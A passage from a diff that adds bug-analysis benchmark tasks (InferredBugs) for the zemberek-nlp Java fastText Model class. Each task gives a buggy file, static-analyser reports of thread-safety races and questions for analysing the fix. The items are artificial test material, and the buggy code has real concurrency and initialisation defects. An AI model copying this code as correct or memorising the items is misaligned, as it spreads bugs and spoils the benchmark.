+                           Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    private void dfs(int k,
+                     int node,
+                     float score,
+                     PriorityQueue<Pair> heap,
+                     Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+    private void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    private int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    private void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    private static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    private static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    private float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    private float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zemberek.embedding.fasttext.Model.predict` indirectly reads without synchronization from `this.zemberek.embedding.fasttext.Model.wi_.zemberek.embedding.fasttext.Matrix.data_.[_]`. Potentially races with write in method `Model.update(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List Model.predict(int[],int,Vector,Vector)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.predict(int[],int,zemberek.embedding.fasttext.Vector,zemberek.embe.daed85040bd1a222589ecb2cdae37283
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|predict|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6ab8c5d920d50d933f420101a9a935dd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9887/instruction.md b/inferredbugs-9887/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5dec8fb447e6aa26d81af1bae5a0b60ca6842b0c
--- /dev/null
+++ b/inferredbugs-9887/instruction.md
@@ -0,0 +1,442 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            //TODO: check below
+            return Float.compare(this.first, o.first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * (label ? 1f : 0f - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap,
+                 Vector hidden, Vector output) {
+        assert (k > 0);
+        //heap.reserve(k + 1);
+        computeHidden(input, hidden);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        // TODO: write below if necessary.
+        //std::sort_heap(heap.begin(), heap.end(), comparePairs);
+    }
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap) {
+        predict(input, k, heap, hidden_, output_);
+    }
+
+    void findKBest(int k, PriorityQueue<Pair> heap,
+                   Vector hidden, Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    void dfs(int k, int node, float score,
+             PriorityQueue<Pair> heap,
+             Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+
+    void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zemberek.embedding.fasttext.Model.binaryLogistic` indirectly reads without synchronization from `fasttext.Model.zemberek.embedding.fasttext.Model.t_log`. Potentially races with write in method `Model.initLog()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+float Model.binaryLogistic(int,boolean,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.binaryLogistic(int,boolean,float):float.692e211b4649cfe78f82841bc3e3c33c
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|binaryLogistic|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e388f1a8a75874ae025364e84b30cb45
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9888/instruction.md b/inferredbugs-9888/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f725e77024b091b9027e2770fe3f387c64c164c6
--- /dev/null
+++ b/inferredbugs-9888/instruction.md
@@ -0,0 +1,442 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            //TODO: check below
+            return Float.compare(this.first, o.first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * (label ? 1f : 0f - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap,
+                 Vector hidden, Vector output) {
+        assert (k > 0);
+        //heap.reserve(k + 1);
+        computeHidden(input, hidden);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        // TODO: write below if necessary.
+        //std::sort_heap(heap.begin(), heap.end(), comparePairs);
+    }
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap) {
+        predict(input, k, heap, hidden_, output_);
+    }
+
+    void findKBest(int k, PriorityQueue<Pair> heap,
+                   Vector hidden, Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    void dfs(int k, int node, float score,
+             PriorityQueue<Pair> heap,
+             Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+
+    void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `zemberek.embedding.fasttext.Model.negativeSampling` indirectly writes to field `this.zemberek.embedding.fasttext.Model.grad_.zemberek.embedding.fasttext.Vector.data_.[_]` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+float Model.negativeSampling(int,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.negativeSampling(int,float):float.04864267f49892ecff95455a09d41be9
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|negativeSampling|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+5163eec6c38e5aefa41f0cb09030b5b8
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9889/instruction.md b/inferredbugs-9889/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5bf634ca3ebf2d329c9b12dca089790bbcf82476
--- /dev/null
+++ b/inferredbugs-9889/instruction.md
@@ -0,0 +1,442 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
